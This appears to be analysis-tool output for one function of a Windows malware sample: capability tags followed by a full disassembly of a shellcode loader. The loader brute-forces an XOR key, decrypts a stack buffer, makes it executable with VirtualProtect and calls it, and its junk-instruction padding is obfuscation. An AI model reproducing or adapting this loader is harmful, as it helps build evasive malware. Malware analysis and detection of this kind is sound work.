Function at 0x401000
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f8
push ebx
push esi
push edi
mov ecx, 0xb8
lea edi, [ebp - 0x2f8]
mov esi, 0x402110
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push eax
push ebx
sub ebx, eax
sub ebx, 0x60
add eax, 0xd2
sub ebx, 0xc1
xor ebx, eax
xor ebx, 0xf0
xor ebx, ebx
sub eax, 0x62
add eax, ebx
mov ebx, eax
xor eax, eax
sub ebx, 0xd4
add eax, 0xce
xor eax, eax
add ebx, 0xac
mov ebx, eax
mov eax, 0xcd
add ebx, eax
mov ebx, 0xc9
sub eax, 0x87
add eax, 0xb
mov eax, 0x8b
mov ebx, 9
add eax, 0x8a
sub eax, 0x70
sub eax, 0x33
add eax, eax
xor ebx, 0x4f
sub ebx, 0xb1
add ebx, ebx
mov ebx, ebx
xor ebx, ebx
add eax, 0x1a
xor eax, 0x19
mov ebx, 0xe5
sub ebx, eax
add eax, ebx
mov eax, eax
add eax, ebx
sub eax, 0xd9
sub eax, ebx
sub ebx, 0x7a
add eax, ebx
sub ebx, 4
xor ebx, 7
xor eax, eax
add eax, 0x96
sub ebx, ebx
mov ebx, eax
mov ebx, ebx
mov eax, ebx
add eax, ebx
xor ebx, ebx
mov eax, eax
xor ebx, eax
add ebx, 0x30
sub eax, ebx
xor eax, 0x2e
xor ebx, 0x21
xor eax, 0x55
xor eax, 0xcd
mov eax, ebx
mov eax, eax
mov eax, 0x3b
mov ebx, 0x73
sub eax, eax
add eax, 0xe5
mov ebx, 0x17
sub ebx, 4
xor eax, 0x6c
sub eax, ebx
sub ebx, 0xd1
mov ebx, 0x61
mov ebx, 0xfa
add eax, 0x9d
add ebx, eax
xor ebx, eax
xor eax, ebx
add ebx, 0x10
xor eax, ebx
xor ebx, 0xf7
sub ebx, 0x5b
add eax, 0xe0
xor ebx, ebx
sub eax, eax
mov ebx, ebx
mov eax, ebx
mov ebx, eax
add ebx, 0xf8
mov ebx, 0x7f
add ebx, ebx
add eax, ebx
xor eax, ebx
add eax, eax
mov eax, 0xf1
mov eax, 0x99
add eax, 0x77
xor ebx, eax
sub eax, eax
xor ebx, 0xd4
mov ebx, ebx
sub eax, eax
mov eax, 0xc0
mov eax, eax
xor eax, 0x85
mov eax, eax
mov eax, 0xab
sub eax, 0xf3
mov eax, 0xf6
add ebx, 0x84
sub ebx, ebx
mov ebx, eax
sub ebx, 8
add ebx, ebx
xor ebx, eax
add eax, eax
xor eax, ebx
mov ebx, 0x41
mov ebx, 0xdd
add ebx, 0xd3
add eax, 0x7d
xor eax, 3
xor ebx, eax
xor eax, eax
xor eax, ebx
mov ebx, 0xbc
sub eax, 0xe7
add eax, eax
xor ebx, ebx
mov eax, 1
mov ebx, 0x41
mov eax, 0x97
mov ebx, eax
mov ebx, ebx
add ebx, 9
mov eax, 0x12
add ebx, eax
add eax, ebx
mov ebx, eax
add eax, eax
mov ebx, 0xaf
sub ebx, 0x4f
xor ebx, eax
sub eax, 0x74
add eax, eax
sub ebx, ebx
sub eax, eax
mov ebx, 0x99
add eax, 0x3c
sub ebx, eax
xor ebx, 0xc5
sub eax, 0x74
add eax, eax
add ebx, ebx
add eax, 0xf8
xor eax, 0x51
mov eax, eax
xor ebx, 0xc8
add ebx, 0xc5
mov eax, 0x1e
xor eax, 0xa5
xor ebx, 0
sub eax, 0xed
sub ebx, ebx
sub ebx, eax
add ebx, 0xcd
sub ebx, ebx
add ebx, 0xa0
sub eax, eax
mov ebx, 9
xor ebx, eax
sub eax, 0xc1
add eax, 0
xor ebx, 0x49
mov ebx, 0x73
sub eax, 0xa3
mov ebx, eax
mov ebx, 0xab
add ebx, eax
xor eax, 0x1a
sub ebx, 0x7b
sub eax, 0x57
add ebx, 0x38
sub ebx, eax
xor eax, 0x8c
add eax, ebx
mov ebx, 0x6b
mov eax, 0xa4
xor eax, 0x75
mov ebx, 0xd5
sub eax, eax
add ebx, 0xe
xor ebx, ebx
xor ebx, eax
xor eax, ebx
mov ebx, 0x6e
sub ebx, 0
add eax, 0x2e
mov eax, 0x3e
sub eax, 0xee
sub eax, 0x15
sub eax, eax
add ebx, 0x48
sub ebx, ebx
mov eax, 0xfe
mov eax, 0xc8
add ebx, ebx
mov eax, ebx
sub ebx, 0x9f
add eax, 0xca
xor ebx, 0xfd
mov eax, eax
xor ebx, 0x60
xor eax, ebx
mov ebx, ebx
add ebx, eax
add ebx, 0xb5
sub eax, ebx
xor eax, eax
xor eax, ebx
mov eax, eax
xor ebx, eax
add eax, eax
mov ebx, 0x84
xor ebx, 0x46
xor eax, ebx
add ebx, 0xb1
sub ebx, eax
add ebx, eax
mov eax, 0x3a
mov eax, 0x1b
add ebx, ebx
pop eax
pop ebx
mov edx, dword [ebp - 8]
mov ecx, edx
mov byte [ebp - 1], dl
xor byte [ebp - 1], 0xdc
mov ebx, edx
shr ecx, 8
mov eax, edx
shr ebx, 0x10
xor cl, 0x24
shr eax, 0x18
xor bl, 0x35
xor al, 0x37
cmp cl, 0x14
jne 0x401359
cmp bl, 1
jne 0x401359
test al, al
jne 0x401359
cmp byte [ebp - 1], 0xe9
je 0x40135c
inc edx
jmp 0x401327
mov dword [ebp - 8], edx
push eax
push ebx
sub ebx, eax
sub ebx, 0x60
add eax, 0xd2
sub ebx, 0xc1
xor ebx, eax
xor ebx, 0xf0
xor ebx, ebx
sub eax, 0x62
add eax, ebx
mov ebx, eax
xor eax, eax
sub ebx, 0xd4
add eax, 0xce
xor eax, eax
add ebx, 0xac
mov ebx, eax
mov eax, 0xcd
add ebx, eax
mov ebx, 0xc9
sub eax, 0x87
add eax, 0xb
mov eax, 0x8b
mov ebx, 9
add eax, 0x8a
sub eax, 0x70
sub eax, 0x33
add eax, eax
xor ebx, 0x4f
sub ebx, 0xb1
add ebx, ebx
mov ebx, ebx
xor ebx, ebx
add eax, 0x1a
xor eax, 0x19
mov ebx, 0xe5
sub ebx, eax
add eax, ebx
mov eax, eax
add eax, ebx
sub eax, 0xd9
sub eax, ebx
sub ebx, 0x7a
add eax, ebx
sub ebx, 4
xor ebx, 7
xor eax, eax
add eax, 0x96
sub ebx, ebx
mov ebx, eax
mov ebx, ebx
mov eax, ebx
add eax, ebx
xor ebx, ebx
mov eax, eax
xor ebx, eax
add ebx, 0x30
sub eax, ebx
xor eax, 0x2e
xor ebx, 0x21
xor eax, 0x55
xor eax, 0xcd
mov eax, ebx
mov eax, eax
mov eax, 0x3b
mov ebx, 0x73
sub eax, eax
add eax, 0xe5
mov ebx, 0x17
sub ebx, 4
xor eax, 0x6c
sub eax, ebx
sub ebx, 0xd1
mov ebx, 0x61
mov ebx, 0xfa
add eax, 0x9d
add ebx, eax
xor ebx, eax
xor eax, ebx
add ebx, 0x10
xor eax, ebx
xor ebx, 0xf7
sub ebx, 0x5b
add eax, 0xe0
xor ebx, ebx
sub eax, eax
mov ebx, ebx
mov eax, ebx
mov ebx, eax
add ebx, 0xf8
mov ebx, 0x7f
add ebx, ebx
add eax, ebx
xor eax, ebx
add eax, eax
mov eax, 0xf1
mov eax, 0x99
add eax, 0x77
xor ebx, eax
sub eax, eax
xor ebx, 0xd4
mov ebx, ebx
sub eax, eax
mov eax, 0xc0
mov eax, eax
xor eax, 0x85
mov eax, eax
mov eax, 0xab
sub eax, 0xf3
mov eax, 0xf6
add ebx, 0x84
sub ebx, ebx
mov ebx, eax
sub ebx, 8
add ebx, ebx
xor ebx, eax
add eax, eax
xor eax, ebx
mov ebx, 0x41
mov ebx, 0xdd
add ebx, 0xd3
add eax, 0x7d
xor eax, 3
xor ebx, eax
xor eax, eax
xor eax, ebx
mov ebx, 0xbc
sub eax, 0xe7
add eax, eax
xor ebx, ebx
mov eax, 1
mov ebx, 0x41
mov eax, 0x97
mov ebx, eax
mov ebx, ebx
add ebx, 9
mov eax, 0x12
add ebx, eax
add eax, ebx
mov ebx, eax
add eax, eax
mov ebx, 0xaf
sub ebx, 0x4f
xor ebx, eax
sub eax, 0x74
add eax, eax
sub ebx, ebx
sub eax, eax
mov ebx, 0x99
add eax, 0x3c
sub ebx, eax
xor ebx, 0xc5
sub eax, 0x74
add eax, eax
add ebx, ebx
add eax, 0xf8
xor eax, 0x51
mov eax, eax
xor ebx, 0xc8
add ebx, 0xc5
mov eax, 0x1e
xor eax, 0xa5
xor ebx, 0
sub eax, 0xed
sub ebx, ebx
sub ebx, eax
add ebx, 0xcd
sub ebx, ebx
add ebx, 0xa0
sub eax, eax
mov ebx, 9
xor ebx, eax
sub eax, 0xc1
add eax, 0
xor ebx, 0x49
mov ebx, 0x73
sub eax, 0xa3
mov ebx, eax
mov ebx, 0xab
add ebx, eax
xor eax, 0x1a
sub ebx, 0x7b
sub eax, 0x57
add ebx, 0x38
sub ebx, eax
xor eax, 0x8c
add eax, ebx
mov ebx, 0x6b
mov eax, 0xa4
pop eax
pop ebx
lea eax, [ebp - 0x2f8]
mov esi, 1
sub esi, eax
lea ecx, [ebp - 0x2f8]
mov edi, 2
mov ebx, 3
sub edi, eax
sub ebx, eax
mov eax, 4
xor edx, edx
sub eax, ecx
mov dword [ebp - 0xc], eax
mov eax, 5
sub eax, ecx
mov dword [ebp - 0x10], eax
nop dword [eax]
mov eax, edx
lea ecx, [ebp - 0x2f8]
and eax, 3
add ecx, edx
add edx, 6
movzx eax, byte [ebp + eax - 8]
xor byte [ecx], al
lea eax, [esi + ecx]
and eax, 3
movzx eax, byte [ebp + eax - 8]
xor byte [ecx + 1], al
lea eax, [edi + ecx]
and eax, 3
movzx eax, byte [ebp + eax - 8]
xor byte [ecx + 2], al
lea eax, [ebx + ecx]
and eax, 3
movzx eax, byte [ebp + eax - 8]
xor byte [ecx + 3], al
mov eax, dword [ebp - 0xc]
add eax, ecx
and eax, 3
movzx eax, byte [ebp + eax - 8]
xor byte [ecx + 4], al
mov eax, dword [ebp - 0x10]
add eax, ecx
and eax, 3
movzx eax, byte [ebp + eax - 8]
xor byte [ecx + 5], al
cmp edx, 0x2e2
jb 0x401610
push eax
push ebx
sub ebx, eax
sub ebx, 0x60
add eax, 0xd2
sub ebx, 0xc1
xor ebx, eax
xor ebx, 0xf0
xor ebx, ebx
sub eax, 0x62
add eax, ebx
mov ebx, eax
xor eax, eax
sub ebx, 0xd4
add eax, 0xce
xor eax, eax
add ebx, 0xac
mov ebx, eax
mov eax, 0xcd
add ebx, eax
mov ebx, 0xc9
sub eax, 0x87
add eax, 0xb
mov eax, 0x8b
mov ebx, 9
add eax, 0x8a
sub eax, 0x70
sub eax, 0x33
add eax, eax
xor ebx, 0x4f
sub ebx, 0xb1
add ebx, ebx
mov ebx, ebx
xor ebx, ebx
add eax, 0x1a
xor eax, 0x19
mov ebx, 0xe5
sub ebx, eax
add eax, ebx
mov eax, eax
add eax, ebx
sub eax, 0xd9
sub eax, ebx
sub ebx, 0x7a
add eax, ebx
sub ebx, 4
xor ebx, 7
xor eax, eax
add eax, 0x96
sub ebx, ebx
mov ebx, eax
mov ebx, ebx
mov eax, ebx
add eax, ebx
xor ebx, ebx
mov eax, eax
xor ebx, eax
add ebx, 0x30
sub eax, ebx
xor eax, 0x2e
xor ebx, 0x21
xor eax, 0x55
xor eax, 0xcd
mov eax, ebx
mov eax, eax
mov eax, 0x3b
mov ebx, 0x73
sub eax, eax
add eax, 0xe5
mov ebx, 0x17
sub ebx, 4
xor eax, 0x6c
sub eax, ebx
sub ebx, 0xd1
mov ebx, 0x61
mov ebx, 0xfa
add eax, 0x9d
add ebx, eax
xor ebx, eax
xor eax, ebx
add ebx, 0x10
xor eax, ebx
xor ebx, 0xf7
sub ebx, 0x5b
add eax, 0xe0
xor ebx, ebx
sub eax, eax
mov ebx, ebx
mov eax, ebx
mov ebx, eax
add ebx, 0xf8
mov ebx, 0x7f
add ebx, ebx
add eax, ebx
xor eax, ebx
add eax, eax
mov eax, 0xf1
mov eax, 0x99
add eax, 0x77
xor ebx, eax
sub eax, eax
xor ebx, 0xd4
mov ebx, ebx
sub eax, eax
mov eax, 0xc0
mov eax, eax
xor eax, 0x85
mov eax, eax
mov eax, 0xab
sub eax, 0xf3
pop eax
pop ebx
lea eax, [ebp - 0x14]
push eax
push 0x40
push 0x2e2
lea eax, [ebp - 0x2f8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0x1f000
push 9
push 9
push 0x2f
push str.B8kRBeszVhoZHNihVddSvpZBbHfQoaR6YPDPSHZJiKZfmw7
lea eax, [ebp - 0x2f8]
call eax
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret